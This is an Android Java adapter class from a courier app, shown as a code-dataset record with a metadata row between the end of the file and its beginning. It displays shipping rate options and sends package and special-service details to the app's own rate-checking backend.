if(topOrBottom.equalsIgnoreCase("top")){
gravity= EasyDialog.GRAVITY_TOP;
}else{
gravity=EasyDialog.GRAVITY_BOTTOM;
}
new EasyDialog(activity)
.setLayout(view)
.setBackgroundColor(Color.BLACK)
.setLocationByAttachedView(viewToolTip)
.setGravity(gravity)
.setTouchOutsideDismiss(true)
.setMatchParent(false)
.setMarginLeftAndRight(0, 0)
.setOutsideColor(Color.TRANSPARENT)
.show();
}
private void getSpecialServices(final String strServiceType){
progressBar = new ProgressDialog(mActivity);
progressBar.setCancelable(true);
progressBar.setMessage("Authenticating ...");
progressBar.setProgressStyle(ProgressDialog.STYLE_SPINNER);
progressBar.setIndeterminate(true);
progressBar.show();
String URL = mActivity.getResources().getString(R.string.url_domain_customer) + mActivity.getResources().getString(R.string.url_check_special_services);
Map<String, String> params = new HashMap<String, String>();
if(!mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
params.put(JSONConstant.CR_CARRIER_CODE,mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put("request_type","check_rates");
params.put(JSONConstant.SERVICE_TYPE,strServiceType);
}else {
params.put(JSONConstant.CR_CARRIER_CODE, mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
params.put("request_type", "check_rates");
params.put(JSONConstant.SERVICE_TYPE, strServiceType);
params.put(JSONConstant.FROM_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_ZIPCODE, mSessionManager.getStringData(SessionManager.KEY_F_ZIP_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.TO_C_ZIPCODE, mSessionManager.getStringData(SessionManager.KEY_T_ZIP_CODE));
params.put(JSONConstant.PACKAGECOUNT, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT));
params.put(JSONConstant.SERVICESHIPDATE, mSessionManager.getStringData(SessionManager.KEY_SHIP_DATE));
params.put(JSONConstant.PACKAGING_TYPE, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE));
params.put(JSONConstant.SERVICE_TYPE,strServiceType);
if (mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT) != null && mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
params.put(JSONConstant.CONTAINER, "");
params.put("Shape", mSessionManager.getStringData(SessionManager.KEY_SHAPE));
params.put(JSONConstant.SIZE, mSessionManager.getStringData(SessionManager.KEY_SIZES));
}
params.put(JSONConstant.DROP_OFF_TYPE, mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP));
params.put(JSONConstant.PACKAGING_TYPE_DESCRIPTION, mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE_NAME));
params.put(JSONConstant.DROPOFF_TYPE_DESCRIPTION, mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP_NAME));
if (mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)) {
params.put(JSONConstant.IS_IDENTICAL, "1");
} else {
params.put(JSONConstant.IS_IDENTICAL, "0");
}
params.put(JSONConstant.CR_CARRIER_CODE, mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
if (mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)) {
if (!AppConstant.hashMapPackage1.isEmpty()) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}
} else {
if (!AppConstant.hashMapPackage1.isEmpty()) {
if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("1")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("2")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("3")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
} else if (mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("4")) {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
} else {
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
dataMapOfPackages.add(AppConstant.hashMapPackage5);
}
}
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for (HashMap<String, String> data : dataMapOfPackages) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("Packages", test);
System.out.println(jsonObject.toString());
params.put(JSONConstant.PACKAGES, test.toString());
} catch (JSONException e) {
e.printStackTrace();
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for (HashMap<String, String> data : AppConstant.noOfSpecialServices) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("special_services", test);
params.put("special_services", test.toString());
System.out.println(jsonObject.toString());
} catch (JSONException e) {
e.printStackTrace();
}
params.put(JSONConstant.FROM_C_STATE, "");
params.put(JSONConstant.FROM_C_ADDRESS_LINE1, "");
params.put(JSONConstant.FROM_C_CITY, "");
params.put(JSONConstant.TO_C_STATE, "");
params.put(JSONConstant.TO_C_ADDRESS_LINE1, "");
params.put(JSONConstant.TO_C_CITY, "");
if (mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE).equalsIgnoreCase("US") && mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE).equalsIgnoreCase("US")) {
params.put("customs_currency", "");
params.put("customs_value", "");
params.put("customs_description", "");
} else {
params.put("customs_currency", mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT));
params.put("customs_value", mSessionManager.getStringData(SessionManager.KEY_CUSTOM_VALUE));
params.put("customs_description", mSessionManager.getStringData(SessionManager.KEY_CUSTOM_DESC));
}
}
System.out.println("=>"+params.toString());
VolleyUtils.POST_METHOD(mActivity, URL,params, new VolleyResponseListener() {
@Override
public void onError(String message) {
progressBar.dismiss();
}
@Override
public void onResponse(Object response) {
System.out.println("==Volley Response===>>" + response.toString());
try {
JSONObject Json_response = new JSONObject(response.toString());
if(Json_response.getString(JSONConstant.STATUS).equalsIgnoreCase(JSONConstant.SUCCESS)){
progressBar.dismiss();
if(mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")) {
JSONArray customOptnList = Json_response.getJSONArray("special_services");
dataMapOfSpecialServices = new ArrayList<>();
for (int i = 0; i < customOptnList.length(); i++) {
JSONObject eachData = customOptnList.getJSONObject(i);
HashMap<String, String> hashMapForSpecialServices = new HashMap<String, String>();
hashMapForSpecialServices.put("special_service", eachData.getString("special_service"));
hashMapForSpecialServices.put("special_service_description", eachData.getString("special_service_description"));
if (eachData.has("selected_option")) {
hashMapForSpecialServices.put("selected_option", eachData.getString("selected_option"));
hashMapForSpecialServices.put("selected_option_description", eachData.getString("selected_option_description"));
} else {
hashMapForSpecialServices.put("selected_option", " ");
hashMapForSpecialServices.put("selected_option_description", " ");
}
hashMapForSpecialServices.put("special_service_price", eachData.getString("special_service_price"));
hashMapForSpecialServices.put("CurrencyUnit", eachData.getString("CurrencyUnit"));
dataMapOfSpecialServices.add(hashMapForSpecialServices);
}
AppConstant.noOfSpecialServices = dataMapOfSpecialServices;
System.out.println("##" + dataMapOfSpecialServices.toString());
}
}else {
JSONObject jsonObject = Json_response.getJSONObject(JSONConstant.ERROR_MESSAGES);
progressBar.dismiss();
CustomDialogForHelp customDialogForHelp =new CustomDialogForHelp(mActivity,mActivity.getResources().getString(R.string.app_name),jsonObject.getString(JSONConstant.MESSAGE));
customDialogForHelp.show();
}
} catch (JSONException e) {
e.printStackTrace();
progressBar.dismiss();
}
}
});
}
/* public void getCheckRatesDetails(){
try {
progressBar = new ProgressDialog(mActivity);
progressBar.setCancelable(true);
progressBar.setMessage("Authenticating ...");
progressBar.setProgressStyle(ProgressDialog.STYLE_SPINNER);
progressBar.setIndeterminate(true);
progressBar.show();
String URL = mActivity.getResources().getString(R.string.url_domain_customer) +mActivity. getResources().getString(R.string.url_check_rates);
StringRequest stringRequest = new StringRequest(Request.Method.POST, URL,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
System.out.println("==Send Volley Response===>>" + response);
try {
JSONObject Json_response = new JSONObject(response);
if(Json_response.getString(JSONConstant.STATUS).equalsIgnoreCase(JSONConstant.SUCCESS)){
JSONArray jsonArray = Json_response.getJSONArray("rates");
//JSONArray jsonArray = (JSONArray) Json_response.get("rates");
Log.e("Hi","->"+jsonArray.length());
ratesArrayList = new ArrayList<>();
for(int i = 0; i< jsonArray.length() ; i++ ){
JSONObject jsonObjectRate = jsonArray.getJSONObject(i);
ratesArrayList.add(new Rates(jsonObjectRate.getString("ServiceType"),
jsonObjectRate.getString("Amount"),
jsonObjectRate.getString("ServiceDescription"),
jsonObjectRate.getString("DeliveryDate"),
jsonObjectRate.getString("DeliveryTimestamp"),
jsonObjectRate.getString("BaseAmount"),
jsonObjectRate.getString("cs_tax1"),
jsonObjectRate.getString("cs_tax1_title"),
jsonObjectRate.getString("cs_tax2"),
jsonObjectRate.getString("cs_tax2_title"),
jsonObjectRate.getString("cs_surcharge"),
jsonObjectRate.getString("cs_surcharge_title"),
jsonObjectRate.getString("admin_commission"),
jsonObjectRate.getString("Container")
));
}
progressBar.dismiss();
*//*startActivity(new Intent(ShipmentDetailsCustomerActivity.this,CheckRateScreenCustomerActivity.class).putParcelableArrayListExtra("RateList",ratesArrayList));
//ratesArrayList.clear();
*//*
}else {
JSONObject jsonObject = Json_response.getJSONObject(JSONConstant.ERROR_MESSAGES);
CustomDialogForHelp customDialogForHelp = new CustomDialogForHelp(mActivity,mActivity.getResources().getString(R.string.app_name),jsonObject.getString(JSONConstant.MESSAGE));
customDialogForHelp.show();
}
progressBar.dismiss();
} catch (JSONException e) {
e.printStackTrace();
progressBar.dismiss();
}
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
System.out.println("==Volley Error=" + error);
progressBar.dismiss();
}
}) {
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> params = new HashMap<String, String>();
params.put(JSONConstant.FROM_C_COUNTRY_CODE,mSessionManager.getStringData(SessionManager.KEY_F_COUNTRY_CODE));
params.put(JSONConstant.FROM_C_ZIPCODE,mSessionManager.getStringData(SessionManager.KEY_F_ZIP_CODE));
params.put(JSONConstant.TO_C_COUNTRY_CODE, mSessionManager.getStringData(SessionManager.KEY_T_COUNTRY_CODE));
params.put(JSONConstant.TO_C_ZIPCODE,mSessionManager.getStringData(SessionManager.KEY_T_ZIP_CODE));
params.put(JSONConstant.PACKAGECOUNT,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT));
params.put(JSONConstant.SERVICESHIPDATE,mSessionManager.getStringData(SessionManager.KEY_SHIP_DATE));
params.put(JSONConstant.PACKAGING_TYPE,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE));
params.put(JSONConstant.SERVICE_TYPE,mSessionManager.getStringData(SessionManager.KEY_SERVICE_TYPE));
if (mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT) != null &&mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE).equalsIgnoreCase("USPS")){
params.put(JSONConstant.CONTAINER,"");
params.put("Shape",mSessionManager.getStringData(SessionManager.KEY_SHAPE));
params.put(JSONConstant.SIZE,mSessionManager.getStringData(SessionManager.KEY_SIZES));
}
params.put(JSONConstant.DROP_OFF_TYPE,mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP));
params.put(JSONConstant.PACKAGING_TYPE_DESCRIPTION,mSessionManager.getStringData(SessionManager.KEY_PACKAGE_TYPE_NAME));
params.put(JSONConstant.DROPOFF_TYPE_DESCRIPTION,mSessionManager.getStringData(SessionManager.KEY_PICKUP_DROP_NAME));
if(mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)){
params.put(JSONConstant.IS_IDENTICAL,"1");
}else {
params.put(JSONConstant.IS_IDENTICAL,"0");
}
params.put(JSONConstant.CR_CARRIER_CODE,mSessionManager.getStringData(SessionManager.KEY_CARRIER_CODE));
if(mSessionManager.getBooleanData(SessionManager.KEY_IS_IDENTICAL)){
if(!AppConstant.hashMapPackage1.isEmpty()) {
//tv_weight.setText(getPackageTitle("Packages")+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}
}else {
if(!AppConstant.hashMapPackage1.isEmpty()) {
if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("1")){
//tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("2")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("3")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
}else if(mSessionManager.getStringData(SessionManager.KEY_PACKAGE_COUNT).equalsIgnoreCase("4")){
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage4.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
}else {
// tv_weight.setText(getPackageTitle(AppConstant.hashMapPackage1.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage1.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage1.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage2.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage2.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage2.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage3.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage3.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage3.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage4.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage4.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage4.get(AppConstant.HM_DECLARED_VALUE)))
// +"\n\n"+getPackageTitle(AppConstant.hashMapPackage5.get(AppConstant.HM_PACKAGE_NO)+"\n"+getPackageDetails(AppConstant.hashMapPackage5.get(AppConstant.HM_WEIGHT),AppConstant.hashMapPackage5.get(AppConstant.HM_WEIGHT_UNIT),AppConstant.hashMapPackage5.get(AppConstant.HM_CURRENCY_UNIT),AppConstant.hashMapPackage5.get(AppConstant.HM_DECLARED_VALUE))));
dataMapOfPackages.add(AppConstant.hashMapPackage1);
dataMapOfPackages.add(AppConstant.hashMapPackage2);
dataMapOfPackages.add(AppConstant.hashMapPackage3);
dataMapOfPackages.add(AppConstant.hashMapPackage4);
dataMapOfPackages.add(AppConstant.hashMapPackage5);
}
}
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for(HashMap<String, String> data : dataMapOfPackages) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("Packages",test);
System.out.println(jsonObject.toString());
params.put(JSONConstant.PACKAGES,test.toString());
} catch (JSONException e) {
e.printStackTrace();
}
try {
List<JSONObject> jsonObj = new ArrayList<JSONObject>();
for(HashMap<String, String> data : AppConstant.noOfSpecialServices) {
JSONObject obj = new JSONObject(data);
jsonObj.add(obj);
}
JSONArray test = new JSONArray(jsonObj);
JSONObject jsonObject = new JSONObject();
jsonObject.put("special_services",test);
params.put("special_services",test.toString());
System.out.println(jsonObject.toString());
} catch (JSONException e) {
e.printStackTrace();
}
params.put(JSONConstant.FROM_C_STATE,"");
params.put(JSONConstant.FROM_C_ADDRESS_LINE1,"");
params.put(JSONConstant.FROM_C_CITY,"");
params.put(JSONConstant.TO_C_STATE,"");
params.put(JSONConstant.TO_C_ADDRESS_LINE1,"");
params.put(JSONConstant.TO_C_CITY,"");
if(AppConstant.T_C_COUNTRY_CODE.equalsIgnoreCase("US")&& AppConstant.F_C_COUNTRY_CODE.equalsIgnoreCase("US")) {
params.put("customs_currency","");
params.put("customs_value","");
params.put("customs_description","");
}else {
params.put("customs_currency",mSessionManager.getStringData(SessionManager.KEY_CURRENCY_UNIT));
params.put("customs_value",mSessionManager.getStringData(SessionManager.KEY_CUSTOM_VALUE));
params.put("customs_description",mSessionManager.getStringData(SessionManager.KEY_CUSTOM_DESC));
}
System.out.println("hi harshada"+params.toString());
return params;
}
@Override
public String getBodyContentType() {
// TODO Auto-generated method stub
return "application/x-www-form-urlencoded";
}
protected Response<String> parseNetworkResponse(NetworkResponse response) {
if (response.headers == null)
{
// cant just set a new empty map because the member is final.
response = new NetworkResponse(
response.statusCode,
response.data,
Collections.<String, String>emptyMap(), // this is the important line, set an empty but non-null map.
response.notModified,
response.networkTimeMs);
}
return super.parseNetworkResponse(response);
}
};
// Adding JsonObject request to request queue
AppSingleton.getInstance(mActivity).addToRequestQueue(stringRequest);
} catch (Exception e) {
e.printStackTrace();
}
}*/
} | UTF-8 | Java | 38,720 | java | CheckRateCustomerAdapter.java | Java | [
{
"context": "le.aspl.fortunecourier.adapter;\n\n/**\n * Created by aspl on 28/11/17.\n */\n\nimport android.app.Activity;\nim",
"end": 72,
"score": 0.999626874923706,
"start": 68,
"tag": "USERNAME",
"value": "aspl"
}
] | null | [] | package com.example.aspl.fortunecourier.adapter;
/**
* Created by aspl on 28/11/17.
*/
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Color;
import android.support.v7.widget.RecyclerView;
import android.text.Html;
import android.text.SpannableString;
import android.text.style.UnderlineSpan;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.LinearLayout;
import android.widget.RadioButton;
import android.widget.TextView;
import com.android.volley.AuthFailureError;
import com.android.volley.NetworkResponse;
import com.android.volley.Request;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.example.aspl.fortunecourier.R;
import com.example.aspl.fortunecourier.activity.customer.CheckRateScreenCustomerActivity;
import com.example.aspl.fortunecourier.activity.customer.ShipmentDetailsCustomerActivity;
import com.example.aspl.fortunecourier.dialog.CustomDialogForHelp;
import com.example.aspl.fortunecourier.model.Rates;
import com.example.aspl.fortunecourier.utility.AppConstant;
import com.example.aspl.fortunecourier.utility.AppSingleton;
import com.example.aspl.fortunecourier.utility.ConnectionDetector;
import com.example.aspl.fortunecourier.utility.JSONConstant;
import com.example.aspl.fortunecourier.utility.SessionManager;
import com.example.aspl.fortunecourier.utility.VolleyResponseListener;
import com.example.aspl.fortunecourier.utility.VolleyUtils;
import com.michael.easydialog.EasyDialog;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class CheckRateCustomerAdapter extends RecyclerView.Adapter<CheckRateCustomerAdapter.ViewHolder> {
private List<Rates> checkRateList;
private Activity mActivity;
private String strForTooltip,strForTooltip1,strForTooltip2,strForTooltip3;
private int mPosition;
private SessionManager mSessionManager;
private ProgressDialog progressBar;
private ConnectionDetector cd;
private ArrayList<Rates> ratesArrayList;
private ArrayList<HashMap<String, String>> dataMapOfPackages;
private ArrayList<HashMap<String,String>> dataMapOfSpecialServices;
public int lastSelectedPosition = -1;
public CheckRateCustomerAdapter(List<Rates> offersListIn, Activity activity) {
checkRateList = offersListIn;
mActivity = activity;
mSessionManager = new SessionManager(mActivity);
cd = new ConnectionDetector(mActivity);
dataMapOfPackages = new ArrayList<HashMap<String, String>>();
}
@Override
public CheckRateCustomerAdapter.ViewHolder onCreateViewHolder(ViewGroup parent,
int viewType) {
View view = LayoutInflater.from(parent.getContext())
.inflate(R.layout.row_check_rate, parent, false);
CheckRateCustomerAdapter.ViewHolder viewHolder = new CheckRateCustomerAdapter.ViewHolder(view);
return viewHolder;
}
@Override
public void onBindViewHolder(final CheckRateCustomerAdapter.ViewHolder holder,
final int position) {
Rates rates = checkRateList.get(position);
mPosition = position;
holder.tv_service_desc.setText(Html.fromHtml(rates.getServiceDescription()));
//holder.tv_service_desc.setText(rates.getServiceDescription());
//holder.tv_amount.setText(rates.getAmount());
if(!rates.getDeliveryDate().isEmpty()){
holder.tv_delivery_timestamp.setText(rates.getDeliveryDate());
}else {
holder.tv_delivery_timestamp.setText("Delivery Date Time Not Available.");
}
//holder.tv_delivery_timestamp.setText(rates.getDeliveryDate());
SpannableString content = new SpannableString("$"+rates.getAmount());
content.setSpan(new UnderlineSpan(), 0, content.length(), 0);
holder.tv_amount.setText(content);
holder.tv_amount.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
strForTooltip = "BaseAmount : $"+checkRateList.get(position).getBaseAmount();
strForTooltip1 = checkRateList.get(position).getCs_surcharge_title()+": $"+checkRateList.get(position).getCs_surcharge();
strForTooltip2 = checkRateList.get(position).getCs_tax1_title()+": $"+checkRateList.get(position).getCs_tax1();
strForTooltip3 = checkRateList.get(position).getCs_tax2_title()+": $"+checkRateList.get(position).getCs_tax2();
openToolTip(mActivity,holder.tv_amount,"bottom",strForTooltip,strForTooltip1,strForTooltip2,strForTooltip3);
}
});
holder.rb_select.setChecked(lastSelectedPosition == position);
}
@Override
public int getItemCount() {
return checkRateList.size();
}
public class ViewHolder extends RecyclerView.ViewHolder {
public TextView tv_service_desc,tv_amount,tv_delivery_timestamp;
public RadioButton rb_select;
public LinearLayout ll_row;
public ViewHolder(View view) {
super(view);
ll_row = (LinearLayout) view.findViewById(R.id.ll_row);
tv_service_desc = (TextView) view.findViewById(R.id.tv_service_desc);
tv_amount = (TextView) view.findViewById(R.id.tv_amount);
tv_delivery_timestamp = (TextView) view.findViewById(R.id.tv_delivery_timestamp);
rb_select = (RadioButton) view.findViewById(R.id.rb_select);
rb_select.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
lastSelectedPosition = getAdapterPosition();
notifyDataSetChanged();
if (AppConstant.noOfSpecialServices.size() > 0) {
if (cd.isConnectingToInternet()) {
getSpecialServices(checkRateList.get(lastSelectedPosition).getServiceDescription());
} else {
CustomDialogForHelp customDialogForHelp = new CustomDialogForHelp(mActivity, mActivity.getResources().getString(R.string.app_name), mActivity.getResources().getString(R.string.err_msg_internet));
customDialogForHelp.show();
}
}
}
});
}
}
public void openToolTip(Activity activity, View viewToolTip,String topOrBottom,String strForTooltip,String strForTooltip1,String strForTooltip2,String strForTooltip3 ){
View view = activity.getLayoutInflater().inflate(R.layout.layout_tooltip, null);
TextView tv_mesg=(TextView)view.findViewById(R.id.tv_mesg);
tv_mesg.setText(strForTooltip);
TextView tv_mesg1=(TextView)view.findViewById(R.id.tv_mesg1);
tv_mesg1.setText(Html.fromHtml(strForTooltip1));
TextView tv_mesg2=(TextView)view.findViewById(R.id.tv_mesg2);
tv_mesg2.setText(Html.fromHtml(strForTooltip2));
TextView tv_mesg3=(TextView)view.findViewById(R.id.tv_mesg3);
tv_mesg3.setText(Html.fromHtml(strForTooltip3));
int gravity;
if(topOrBottom.equalsIgnoreCase("top")){
